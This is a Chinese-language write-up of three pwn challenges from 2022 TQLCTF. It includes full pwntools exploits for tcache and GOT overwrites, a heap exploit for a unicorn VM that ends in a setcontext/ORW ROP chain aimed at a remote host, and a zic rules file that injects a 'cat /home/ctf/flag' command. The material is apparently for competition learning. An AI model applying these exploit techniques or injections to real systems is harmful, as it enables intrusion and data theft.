2022TQLCTF WP

2022TQLCTF WP

unbelievable_write

image-20220301172749652

程序没开PIE,GOT表也是可写的

C1

image-20220301172846301

C2

image-20220301172855950

C3

image-20220301172957070

这题关键就是过掉C3的check,也就是能往target上写值

C2给了一次free任意地址的机会,v0 = ptr,ptr是init的时候malloc的,v1可以是负值

image-20220301173428237

理论上通过C2free掉目标地址,然后用C1分配回来实现任意写,但是由于C1malloc之后紧跟着就会free掉,而free会有check的,所以也不能任意地址写

这题的思路是向前free掉tcache struct,由于tcache_struct本身就是一个chunk,所以后面修改它再free也不会有什么问题

TCACHE exploitation - HackMD

通过C1修改tcache_struct,在tcachelist上填入两个地址,一个是free的got地址,一个是target的地址,首先修改free的got为puts的plt地址,这样后面就可以过掉free这个限制,然后再分配到target实现任意地址写

以释放掉一个0x40的堆块做测试

image-20220301174236635

tcache的结构是 从0x405040开始是0x20 0x30 0x40………………的tcache entries

100000 是 00 00 01代表0x20 0x30 0x40chunks的数量,没什么问题

我们要改的地址是0x404018

image-20220301174312733

给他转向到这里就行了0x4010F0

image-20220301174329132

exp + 简要分析

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
sh = process("./pwn")
#sh = process("./grape")
context.log_level = 'debug'
#Context.terminal = ['tmux', 'splitw', '-h']

def C1(size,content):
sh.sendlineafter(">","1")
sh.sendline(str(size))
sh.sendline(content)
def C2(offset):
sh.sendlineafter(">","2")
sh.sendline(str(offset))
def C3():
sh.sendlineafter(">","3")

gdb.attach(sh,"b *0x40154D")
C2(-0x250)
C1(0x240,p64(0)*2+p64(0x0101) +p64(0)*5 +p64(0)*16+ p64(0x404018) + p64(0x404080))
#0x120 0x130
C1(0x110,p64(0x4010F0)+p64(0x0401040))
C1(0x120,p64(0xFEDCBA9876543211))
C3()
sh.interactive()

具体写到那哪个大小的tcache entries上无所谓,只要构造对就行了,

这里还有个小细节是覆盖got表时是

C1(0x110,p64(0x4010F0)+p64(0x0401040))

为了达到目的只需要覆盖free的got为0x4010F0就行,但是由于取出tcache的时候,会清空chunk的前0x16字节,所以导致puts的got被改成0了,如果我们这里不多写个p64(0x0401040)把他恢复的话,会导致puts不能用,free也就错了

EZVM

非常费劲的一个题

题目分析

image-20220301175519003

程序开始会读入我们传的shellcode,但是shellcode里面不能有10,所以后面操作数里面有10的时候得变换一下

image-20220301175552505

然后会创建一个unicorn虚拟机,架构是x86_64,虽然这里写的是i386

image-20220301175721916

创建了两块内存,一块是代码段数据段,一块是堆栈,紧接着把我6们传入的code写到代码段,

uc_hook_add是添加hook函数,这里是针对系统调用hook,UC_X86_INS_SYSCALL是我解析的unicorn的头文件

ps:运行结束后的打印我做了patch,打印的不再是ecx和edx,而是eip和esp,这样方便后面查错

hook函数对open write read close都进行了重写

image-20220301180028939

open_hook

image-20220301205440224

这里mem_read参数没显示,就是从src中读data到buf里面,是unicorn虚拟机和物理机之间的交互

sub_1A66

image-20220301205831471

这里实际上是自己实现的类似于Linux中的FILE结构,所有的selfFILE结构呈数组存放在unk_5020处,一个selfFILE的大小是72,

offset0处存放的是fileno,8处存放的是filename,4*8处有一个data_ptr,模拟磁盘文件,对这个文件的读写都是往这个dataptr里面写,

然后是自己写的read write close

self_file_read

image-20220301210143646

a1传的是fd,a1+40是这个文件数据区的大小,这里进行了严格比较,所以没漏洞

self_file_write

image-20220301210556637

这里realloc的使用也没什么问题,逻辑就是将data拷贝数据区

self_file_close

image-20220301210706512

都清零了所有是没UAF的,但是内容没清零,所以可以重新分配回来泄露libc

另外程序初始也是预置提供了标准输入输出

image-20220301210802013

image-20220301210809549

分析完其自实现的文件描述符机制,后面hook的write read close实际就是调用上面虚表中的self函数

这些函数都没什么问题,本题漏洞在于strcpy的使用,这里filename的长度是0x18,紧跟着是data_ptr

image-20220301211017245

strcpy拷贝时会多拷贝一个0,所以这里存在一个offbyone,利用就很清晰了,可以offbyone也就可以打chunkoverlapping,然后可以打tcache attack到_free_hook之后就是orw(以后看题一定要看是否开了沙箱,忘了orw真的很浪费时间)

tcache attack

tcache entry -> chunk1 -> chunk2

tcache entry -> chunk1 -> target

就是修改chunk1中的指针到target然后就能分配到了,这里必须是先有两个chunk

不能是

tcache entry -> chunk1 -> null

tcache entry -> chunk1 -> target

这种情况下,tcache的counts是1,所以是分配不出来target的,(分配出chunk1之后count为0,就没法分配了)

利用

image-20220302091050404

可以把基础操作封装成上面这种,我对操作fd为10的时候辽特判,主要是为了避免shellcode里存在10

另外在构造code的时候,unicorn在执行的时候老是有个内存错误,至今查不出来错误在哪,这个点卡了我巨长时间,后来我是在每个函数后面

image-20220302091854224

加了个nop,就过了

exp

贴下nu1l的标准exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107

from pwn import *
context.arch = 'amd64'
def read(fd,addr,size):
sc = '''
xor eax,eax;
push {};
pop rdi;
mov rsi,{};
push {};
pop rdx;
syscall;
'''.format(fd,addr,size)
return sc
def write(fd,addr,size):
sc = '''
push 1;
pop rax;
push {};
pop rdi;
mov rsi,{};
push {};
pop rdx;
syscall;
'''.format(fd,addr,size)
return sc
def close(fd):
sc = '''
push 3;
pop rax;
push {};
pop rdi;
syscall;
'''.format(fd)
return sc
def insert(name_addr,size):
sc = '''
push 2;
pop rax;
mov rdi,{};
push {};
pop rsi;

syscall;
'''.format(name_addr,size)
return sc
def get_name(idx):
return 0x7FFFFFFEF000+0x20*idx
sc = ''
sc += read(0,get_name(0),0x20)
sc += insert(get_name(0),0xb0)#3
sc += read(3,get_name(1),0x100)
sc += write(1,get_name(1),8)
sc += read(0,get_name(2),0x20)
sc += insert(get_name(2),0x100)#4
sc += read(0,get_name(3),0x20)
sc += insert(get_name(3),0xb0)#5
sc += read(0,get_name(4),0x300)
sc += close(5)
sc += close(3)
sc += write(4,get_name(4),0x38)
sc += insert(get_name(0),0xb0)
sc += insert(get_name(3),0xb8)
sc += write(5,get_name(4)+0x38,0xb8)
sc += 'mov rdx,0x100;'
sc = asm(sc)
# s = process("./easyvm",env={'LD_PRELOAD':'./libunicorn.so.1'})
s = remote("120.24.82.252","21545")
# gdb.attach(s,"b *$rebase(0x1720)\nc\nd\nb *$rebase(0x1857)\nc\nc\nd\nb free\nc")
s.sendlineafter('Send your code:',sc)
name = '/dev/a'
s.send(name)
sleep(0.5)
libc = ELF("./libc-2.31.so")
libc.address = u64(s.recvuntil("\x7f")[-6:]+'\x00\x00')-0x1ec1f0
success(hex(libc.address))
s.send('/dev/'.ljust(0x18,'b'))
sleep(0.5)
s.send('/dev/c')
sleep(0.5)
payload =
p64(libc.address+0x0000000000154930)+p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['se
tcontext']+61)
sig = SigreturnFrame()
sig.rsp = libc.bss(0x500)
sig.rip = libc.sym['read']
sig.rdi = 0


sig.rsi = libc.bss(0x500)
sig.rdx = 0x300
sig = str(sig)
payload += sig[0x28:]
s.send('A'*0x28+p64(0x81)+p64(libc.sym['__free_hook'])+payload)
pop_rdi = 0x0000000000026b72+libc.address
pop_rsi = 0x0000000000027529+libc.address
pop_rdx_r12 = 0x000000000011c371 + libc.address
payload = p64(pop_rdi)+p64(libc.bss(0x600))+p64(pop_rsi)+p64(0)+p64(libc.sym['open'])
payload +=
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0
)+p64(libc.sym['read'])
payload +=
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0
)+p64(libc.sym['write'])
payload = payload.ljust(0x100)+"./flag\x00"
s.send(payload)
s.interactive()

orw

总结下ORW,做题还是发现自己ORW写的太慢了

setcontext+orw - 狒猩橙 - 博客园 (cnblogs.com)

PWN-ORW总结 - X1ng’s Blog

setcontext部分我们可以用pwntools里的SigreturnFrame去构建

image-20220302095520595

image-20220302095548141

SigreturnFrame就是根据这里rdi的偏移构造数据的,比如sig.rsp就会把数据填到offset 0xA0处

主要是方便我们构造

一次控制流劫持后,后面大体有两种利用方法,第一种是直接控制程序执行流去执行ROP链,因此关键在于得找一片地方存放ROP链,一般就是在堆中,另外要用setcontext修改rsp,

第二种是先用mprotect开辟一片可读可写可执行的内存,然后通过read把shellcode读到上面来执行

timezone_challenge

挺离谱的一个漏洞点,文件就不分析了,就是接收命令然后执行zic,那就只能看zic了

zic - man pages section 8: System Administration Commands (oracle.com)

翻一下16.04的zic man手册

image-20220302101844205

这里存在一个命令注入,代码中确实也有这个点

image-20220302101927734

那下面就是构造数据了,man里面有example,我们只要修改下type就行

最终构造出来是这个,Rule中设置一个type是command,然后要有一个zone引用到这个Rule,要不然不会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Rule  NAME  FROM  TO    TYPE  IN   ON       AT    SAVE  LETTER/S
Rule Swiss 1941 1942 ";year13;cat /home/ctf/flag;" May Mon>=1 1:00 1:00 S
Rule Swiss 1941 1942 - Oct Mon>=1 2:00 0 -
Rule EU 1977 1980 - Apr Sun>=1 1:00u 1:00 S
Rule EU 1977 only - Sep lastSun 1:00u 0 -
Rule EU 1978 only - Oct 1 1:00u 0 -
Rule EU 1979 1995 - Sep lastSun 1:00u 0 -
Rule EU 1981 max - Mar lastSun 1:00u 1:00 S
Rule EU 1996 max - Oct lastSun 1:00u 0 -

Zone Europe/Zurich 0:34:08 Swiss LMT 1848 Sep 12
0:29:44 Swiss BMT 1894 Jun
1:00 Swiss CE%sT 1981
1:00 EU CE%sT
IMDONE